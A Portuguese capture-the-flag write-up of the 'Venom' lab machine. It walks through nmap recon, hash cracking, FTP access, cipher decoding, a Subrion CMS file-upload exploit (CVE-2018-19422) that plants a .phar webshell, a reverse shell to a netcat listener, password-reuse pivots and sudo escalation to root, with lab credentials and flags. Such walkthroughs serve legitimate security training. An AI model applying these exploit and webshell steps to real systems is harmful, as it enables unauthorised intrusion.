Guia com dicas que podem te auxiliar na resolução do CTF antes de ler o write-up.
Recon
Descoberta de hosts ativos
Scan de portas e serviços
Web
Página padrão do Apache
Inspeção do código-fonte para comentários suspeitos
Decodificação de hashes
FTP
Descoberta de novos domínios (web login)
Decodificação de cifras
CMS
Vulnerabilidade de upload de arquivos
Ler script para identificar como realizar o upload manualmente
Fazer upload de uma Web Shell (.phar)
PrivEsc
Reutilização de senhas (user pivot)
Análise do histórico de comandos
Permissões sudo
Reconhecimento de Rede
Descoberta de Hosts Ativos
Para iniciar o reconhecimento da rede, comecei com um ping sweep para identificar quais hosts estavam ativos. Usei o nmap com a opção -sn (ping scan) para realizar essa tarefa:
└─# nmap 10.0.2.1/24 -sn -T4 -n
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.5
Host is up (0.0021s latency).
O scan revelou que a máquina alvo estava no IP 10.0.2.5. Esse foi o meu ponto de partida para os próximos passos.
Varredura de Portas e Serviços
Com o IP da máquina alvo em mãos, o próximo passo foi realizar um scan de portas para identificar quais serviços estavam ativos. Usei o nmap para escanear todas as portas TCP:
└─# nmap 10.0.2.5 -p- -sS --min-rate=5000 -v -n -Pn -oG tcp-portscan.txt
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC)
O scan revelou que as portas 21 (FTP), 80 (HTTP), 139 (NetBIOS), 443 (HTTPS) e 445 (Microsoft-DS) estavam abertas.
Para obter mais detalhes sobre os serviços em execução, executei um scan mais específico nas portas identificadas:
└─# nmap 10.0.2.5 -p 21,80,139,443,445 -sCV -v -n -Pn -oN tcp-scan.txt
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open http Apache httpd 2.4.29
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: VENOM, 127.0.1.1; OS: Unix
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: venom
| NetBIOS computer name: VENOM\\x00
| Domain name: \\x00
| FQDN: venom
|_ System time: 2024-01-24T05:30:21+05:30
| nbstat: NetBIOS ;name: VENOM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| VENOM<00> Flags: <unique><active>
| VENOM<03> Flags: <unique><active>
| VENOM<20> Flags: <unique><active>
| \\x01\\x02__MSBROWSE__\\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb2-time:
| date: 2024-01-24T00:00:21
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: -1h50m01s, deviation: 3h10m30s, median: -2s
O scan revelou que os serviços encontrados eram:
Porta 21 (FTP): vsftpd 3.0.3
Porta 80 (HTTP): Apache httpd 2.4.29 (Ubuntu)
Porta 139 (NetBIOS): Samba smbd 3.X - 4.X
Porta 443 (HTTPS): Apache httpd 2.4.29 (Ubuntu)
Porta 445 (SMB): Samba smbd 4.7.6-Ubuntu
Além disso, o scan forneceu informações adicionais sobre o serviço NetBIOS/Samba, incluindo a versão do Samba e alguns detalhes sobre o sistema:
Nome do computador NetBIOS: VENOM
Sistema Operacional: Windows 6.1 (Samba 4.7.6-Ubuntu)
Workgroup: WORKGROUP
Esses detalhes foram cruciais para orientar o próximo passo na exploração da máquina.
Explorando o Servidor Web
Quando acessei o servidor web via navegador, encontrei a página padrão do Apache.
Em seguida, inspecionei o código-fonte da página e descobri um comentário contendo um hash suspeito:
└─# curl -s 10.0.2.5
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd>">
<html xmlns="<http://www.w3.org/1999/xhtml>">
<!--
Modified from the Debian original for Ubuntu
Last updated: 2016-11-16
See: <https://launchpad.net/bugs/1288690>
-->
<head>
...<SNIP>...
</div>
</div>
<div class="validator">
</div>
</body>
</html>
<!...<5f2a66f947fa5690c26506f66bde5c23> follow this to get access on somewhere.....-->
Identifiquei o hash como possivelmente MD5 usando a ferramenta hash-identifier:
Com o hash identificado, usei o site Crackstation para decifrar o hash, obtendo a senha em texto claro: hostinger.
Explorando o FTP
Testando por tentativa e erro o termo "hostinger” como usuário e senha no FTP, conseguimos acesso:
└─# ftp 10.0.2.5
Connected to 10.0.2.5.
220 (vsFTPd 3.0.3)
Name (10.0.2.5:kali): hostinger
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||47482|)
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 21 2021 files
226 Directory send OK.
Salvei essas credenciais para futuras referências:
└─# echo 'hostinger' | tee -a users.list pass.list
hostinger
Dentro do diretório files, encontrei um arquivo chamado hint.txt.
ftp> cd files
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||44062|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 384 May 21 2021 hint.txt
226 Directory send OK.
ftp> get hint.txt
local: hint.txt remote: hint.txt
229 Entering Extended Passive Mode (|||49810|)
150 Opening BINARY mode data connection for hint.txt (384 bytes).
100% |**************************************************************************************************************************| 384 148.86 KiB/s 00:00 ETA
226 Transfer complete.
384 bytes received in 00:00 (79.28 KiB/s)
ftp> exit
221 Goodbye.
O arquivo hint.txt continha um domínio, o nome de usuário “dora”, dicas criptografadas, além de um desafio para de criptografar uma senha.
└─# cat hint.txt
Hey there...
T0D0 --
* You need to follow the 'hostinger' on WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=
* some knowledge of cipher is required to decode the dora password..
* try on venom.box
password -- L7f9l8@J#p%Ue+Q1234 -> deocode this you will get the administrator password
Have fun .. :)
Salvei "dora" e a senha criptografada como possíveis credenciais úteis:
└─# echo 'dora' | tee -a users.list
dora
└─# echo 'L7f9l8@J#p%Ue+Q1234' | tee -a pass.list
L7f9l8@J#p%Ue+Q1234
Adicionei também o domínio ao arquivo /etc/hosts para facilitar o acesso:
└─# echo -e "10.0.2.5\\tvenom.box" | tee -a /etc/hosts
10.0.2.5 venom.box
Acessando o Novo Domínio
Após acessar o domínio venom.box, percebi que ele resolve para um novo site, que inclui um painel de login:
Inspecionando as dicas que encontrei, notei que alguns textos estavam codificados em Base64. Decodifiquei um desses textos e obtive a dica de usar a cifra Vigenère para decodificar a senha:
Utilizando o site indicado e inserindo o texto cifrado junto com a chave hostinger, obtive uma credencial potencial:
E7r9t8@Q#h%Hy+M1234
Com essa senha e o usuário dora, consegui acessar o painel de login em venom.box, e de fato obtive acesso à conta de administrador, conforme indicado pelo arquivo hint.txt:
Salvei essa informação:
└─# cat creds.txt
hostinger : hostinger -> ftp (founded via website source code - hash cracking)
dora : E7r9t8@Q#h%Hy+M1234 -> venom.box login panel (founded via cipher decode)
└─# echo 'E7r9t8@Q#h%Hy+M1234' | tee -a pass.list
E7r9t8@Q#h%Hy+M1234
Explorando o CMS Subrion
No rodapé da página, observei que o site estava rodando o CMS Subrion versão 4.2:
Examinei o código-fonte da página e confirmei que a versão do CMS é 4.2:
Pesquisei vulnerabilidades conhecidas para esta versão do CMS usando o searchsploit e encontrei várias falhas de segurança, incluindo uma vulnerabilidade de upload de arquivos:
Decidi explorar a vulnerabilidade de upload de arquivos para executar código remoto. Utilizei o script de exploração disponível para a versão 4.2.1:
└─# searchsploit -m 49876
Exploit: Subrion CMS 4.2.1 - Arbitrary File Upload
URL: <https://www.exploit-db.com/exploits/49876>
Path: /usr/share/exploitdb/exploits/php/webapps/49876.py
Codes: CVE-2018-19422
Verified: False
File Type: Python script, ASCII text executable, with very long lines (956)
Copied to: /home/kali/CTF/49876.py
O script pede uma URL base para o painel de administração, além de credenciais de usuário e senha:
└─# python3 49876.py -h
Usage: 49876.py [options]
Options:
-h, --help show this help message and exit
-u URL, --url=URL Base target uri <http://target/panel>
-l USER, --user=USER User credential to login
-p PASSW, --passw=PASSW
Password credential to login
Observando pelo navegador, o script busca abusar da funcionalidade de file upload, enviando assim uma webshell:
Ao executar o script com a URL do painel e as credenciais de dora, obtive sucesso na autenticação e na execução do ataque.
Com a webshell carregada, consegui executar comandos no servidor e confirmar que estava operando como www-data:
└─# python3 49876.py -u <http://venom.box/panel/> --user=dora --passw=E7r9t8@Q#h%Hy+M1234
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422
[+] Trying to connect to: <http://venom.box/panel/>
[+] Success!
[+] Got CSRF token: n9uADf4PFgjwMkBlQ0ssCd3xpn2JXpLJzDiVXl6h
[+] Trying to log in...
[+] Login Successful!
[+] Generating random name for Webshell...
[+] Generated webshell name: ednsffynwqaeveo
[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: <http://venom.box/panel/uploads/ednsffynwqaeveo.phar>
$ whoami
www-data
$ hostname -I
10.0.2.5
Ganho de Acesso
Depois de fazer o upload da webshell maliciosa com a funcionalidade de upload de arquivos, observei que o arquivo .phar foi carregado com sucesso:
Baixei o arquivo e verifiquei seu conteúdo. O script PHP no arquivo .phar permite a execução de comandos no sistema alvo através do parâmetro cmd:
Isso faz com que a webshell se conecte de volta ao meu sistema na porta 443, estabelecendo uma conexão de shell reversa.
Depois de salvar as alterações, configurei meu listener para receber a conexão reversa:
└─# nc -nlvp 443
listening on [any] 443 ...
Quando acessei a URL da webshell com o novo código, recebi uma conexão de shell reversa:
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.2.17] from (UNKNOWN) [10.0.2.5] 36328
bash: cannot set terminal process group (877): Inappropriate ioctl for device
bash: no job control in this shell
www-data@venom:/var/www/html/subrion/uploads$ whoami; hostname -I
whoami; hostname -I
www-data
10.0.2.5
Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:
Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
└─# stty size
34 167
Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
┌──(root㉿kali)-[/home/kali/CTF]
└─# stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
Notei que a senha do hostinger é a mesma usada anteriormente. Assim, acessei a conta do hostinger com a senha hostinger:
www-data@venom:/home$ su hostinger
Password: hostinger
hostinger@venom:/home$
Atualizei meu arquivo de credenciais para refletir todas as informações obtidas:
└─# cat creds.txt
hostinger : hostinger -> ftp (founded via website source code - hash cracking)
dora : E7r9t8@Q#h%Hy+M1234 -> venom.box login panel (founded via cipher decode)
hostinger : hostinger -> user system 10.0.2.5 (password reuse)
Adicionei também os usuários identificados para referência futura:
└─# echo "nathan\\nroot" | tee -a users.list
nathan
root
Após obter acesso ao diretório /home/hostinger, eu observei que o diretório do usuário nathan não estava acessível devido a permissões restritas:
hostinger@venom:~$ ls /home/*
/home/hostinger:
Desktop Documents Downloads examples.desktop ftp Music Pictures Public Templates Videos
ls: cannot open directory '/home/nathan': Permission denied
No diretório de hostinger, encontrei o arquivo .bash_history, que continha comandos relacionados a um arquivo de backup:
...<SNIP>...
find raj -exec "whoami" \\;
su root
which find
find nc
find find
cd /tmp
ls
touch raj
find raj -exec "whoami" \\;
cat /var/www/html/subrion/backup/.htaccess
su nathan
lls
s
ls
cat check_me.py
su nathan
cat /var/www/html/subrion/backup/.htaccess
su
clear
su nathanxec "whoami" \\;
su root
...<SNIP>...
Fui até o arquivo /var/www/html/subrion/backup/.htaccess, que continha uma possível senha:
hostinger@venom:~$ cat /var/www/html/subrion/backup/.htaccess
allow from all
You_will_be_happy_now :)
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
Testei essa credencial e confirmei que era válida para o usuário nathan:
hostinger@venom:~$ su nathan
Password: FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
nathan@venom:/home/hostinger
Atualizei o arquivo de credenciais para incluir a senha de nathan:
└─# echo 'FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a' | tee -a pass.list
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
└─# cat creds.txt
hostinger : hostinger -> ftp (founded via website source code - hash cracking)
dora : E7r9t8@Q#h%Hy+M1234 -> venom.box login panel (founded via cipher decode)
hostinger : hostinger -> user system 10.0.2.5 (password reuse)
nathan : FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a -> user system 10.0.2.5 (bash history leakage)
Com a credencial de nathan, agora posso acessar seu diretório home e encontrar a flag de usuário:
nathan@venom:/home$ cd nathan/
nathan@venom:~$ ls
Desktop Documents Downloads examples.desktop Music Pictures Public Templates user.txt Videos
nathan@venom:~$ cat user.txt
W3_@r3_V3n0m:P
Obtendo Root
Após acessar a conta de nathan, verifiquei as permissões de sudo para entender quais comandos poderiam ser executados com privilégios de root. Descobri que nathan podia executar qualquer comando como root, com a exceção do comando /bin/su:
nathan@venom:~$ sudo -l
[sudo] password for nathan:
Matching Defaults entries for nathan on venom:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin
User nathan may run the following commands on venom:
(root) ALL, !/bin/su
(root) ALL, !/bin/su
Como teste, utilizei sudo para iniciar uma shell com privilégios de root. Por exemplo, executei o comando whoami para verificar se realmente tinha privilégios de root:
nathan@venom:~$ sudo whoami
root
Isso confirmou que eu tinha privilégios de root. Então, abri uma shell com sudo para executar comandos diretamente como root:
nathan@venom:~$ sudo bash
root@venom:~# id
uid=0(root) gid=0(root) groups=0(root)
Com acesso root, pude acessar o arquivo de flag localizado no diretório /root:
